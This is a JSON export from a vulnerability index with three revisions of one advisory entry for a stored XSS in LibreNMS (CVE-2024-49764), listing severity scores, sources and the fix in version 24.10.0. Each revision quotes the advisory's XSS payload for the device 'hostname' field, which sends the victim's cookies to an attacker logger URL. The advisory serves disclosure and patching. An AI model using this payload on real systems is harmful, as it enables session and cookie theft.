{"items":[{"id":"NVI-00004005","kind":"vulnerability","title":"LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-rmr4-x6c9-jc68","CVE-2024-49764"],"plain_summary":"OSV carries this publisher advisory for librenms/librenms. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 24.10.0 for librenms/librenms. Confirm the publisher’s latest guidance.","source_ids":["sr-53fa5622a686a4a70f7b8d400c47c6b6"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-6307bf693438aa3a632ac26c8846af7c"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-17T08:00:24.290Z","value":"4.8 MEDIUM (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-b4aacf846a369960448aca23e46043a9"},{"kind":"CVSS","as_of":"2026-06-17T08:00:24.290Z","value":"5.4 MEDIUM (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-b4aacf846a369960448aca23e46043a9"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.414%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.35777. Missing scores are unknown.","source_id":"sr-6307bf693438aa3a632ac26c8846af7c"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-53fa5622a686a4a70f7b8d400c47c6b6","url":"https://github.com/advisories/GHSA-rmr4-x6c9-jc68","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-rmr4-x6c9-jc68","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.365Z"},{"id":"sr-b4aacf846a369960448aca23e46043a9","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49764","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2024-49764","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T00:59:43.945Z"},{"id":"sr-6307bf693438aa3a632ac26c8846af7c","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-49764","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.369Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-53fa5622a686a4a70f7b8d400c47c6b6"],"technology":"librenms/librenms","known_exclusions":[],"conditions_summary":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Capture Debug Information\" page allows authenticated users to inject arbitrary JavaScript through the \"hostname\" parameter when creating a new device. This vulnerability results in the execution of malicious code when the \"Capture Debug Information\" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.\n\n### Details\nWhen creating a new device, an attacker can inject the following XSS payload into the \"hostname\" parameter:\n\n```\ntest'\" autofocus onfocus=\"document.location='https:///logger.php?c='+document.cookie\"\n```\n\n(Note: You may need to URL-encode the '+' sign in the payload.)\n\nThe payload triggers automatically when visiting the \"Capture Debug Information\" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.\n\nThe vulnerability is due to insufficient sanitization of the \"url\" variable before it is output in the HTML. This is evident in the following lines of code:\n\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/cap","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 24.10.0"]}],"null_published_at":"2026-11-06T15:18:17.690Z","source_updated_at":"2024-11-15T21:08:07.145Z","source_disclosed_at":"2024-11-15T15:27:42.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:41.365Z"},{"id":"NVI-00004005","kind":"vulnerability","title":"LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-rmr4-x6c9-jc68","CVE-2024-49764"],"plain_summary":"OSV carries this publisher advisory for librenms/librenms. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 24.10.0 for librenms/librenms. Confirm the publisher’s latest guidance.","source_ids":["sr-53fa5622a686a4a70f7b8d400c47c6b6"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-6307bf693438aa3a632ac26c8846af7c"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.414%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.35777. Missing scores are unknown.","source_id":"sr-6307bf693438aa3a632ac26c8846af7c"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-53fa5622a686a4a70f7b8d400c47c6b6","url":"https://github.com/advisories/GHSA-rmr4-x6c9-jc68","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-rmr4-x6c9-jc68","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.365Z"},{"id":"sr-6307bf693438aa3a632ac26c8846af7c","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-49764","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.369Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-53fa5622a686a4a70f7b8d400c47c6b6"],"technology":"librenms/librenms","known_exclusions":[],"conditions_summary":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Capture Debug Information\" page allows authenticated users to inject arbitrary JavaScript through the \"hostname\" parameter when creating a new device. This vulnerability results in the execution of malicious code when the \"Capture Debug Information\" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.\n\n### Details\nWhen creating a new device, an attacker can inject the following XSS payload into the \"hostname\" parameter:\n\n```\ntest'\" autofocus onfocus=\"document.location='https:///logger.php?c='+document.cookie\"\n```\n\n(Note: You may need to URL-encode the '+' sign in the payload.)\n\nThe payload triggers automatically when visiting the \"Capture Debug Information\" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.\n\nThe vulnerability is due to insufficient sanitization of the \"url\" variable before it is output in the HTML. This is evident in the following lines of code:\n\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/cap","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 24.10.0"]}],"null_published_at":"2026-11-01T01:45:38.544Z","source_updated_at":"2024-11-15T21:08:07.145Z","source_disclosed_at":"2024-11-15T15:27:42.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:41.365Z"},{"id":"NVI-00004005","kind":"vulnerability","title":"LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-rmr4-x6c9-jc68","CVE-2024-49764"],"plain_summary":"OSV carries this publisher advisory for librenms/librenms. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 24.10.0 for librenms/librenms. Confirm the publisher’s latest guidance.","source_ids":["sr-53fa5622a686a4a70f7b8d400c47c6b6"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-53fa5622a686a4a70f7b8d400c47c6b6","url":"https://github.com/advisories/GHSA-rmr4-x6c9-jc68","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-rmr4-x6c9-jc68","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.365Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-53fa5622a686a4a70f7b8d400c47c6b6"],"technology":"librenms/librenms","known_exclusions":[],"conditions_summary":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Capture Debug Information\" page allows authenticated users to inject arbitrary JavaScript through the \"hostname\" parameter when creating a new device. This vulnerability results in the execution of malicious code when the \"Capture Debug Information\" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.\n\n### Details\nWhen creating a new device, an attacker can inject the following XSS payload into the \"hostname\" parameter:\n\n```\ntest'\" autofocus onfocus=\"document.location='https:///logger.php?c='+document.cookie\"\n```\n\n(Note: You may need to URL-encode the '+' sign in the payload.)\n\nThe payload triggers automatically when visiting the \"Capture Debug Information\" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.\n\nThe vulnerability is due to insufficient sanitization of the \"url\" variable before it is output in the HTML. This is evident in the following lines of code:\n\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/cap","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 24.10.0"]}],"null_published_at":"2026-10-31T22:12:52.610Z","source_updated_at":"2024-11-15T21:08:07.145Z","source_disclosed_at":"2024-11-15T15:27:42.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:41.365Z"}],"next_cursor":null,"snapshot_revision":"42594"}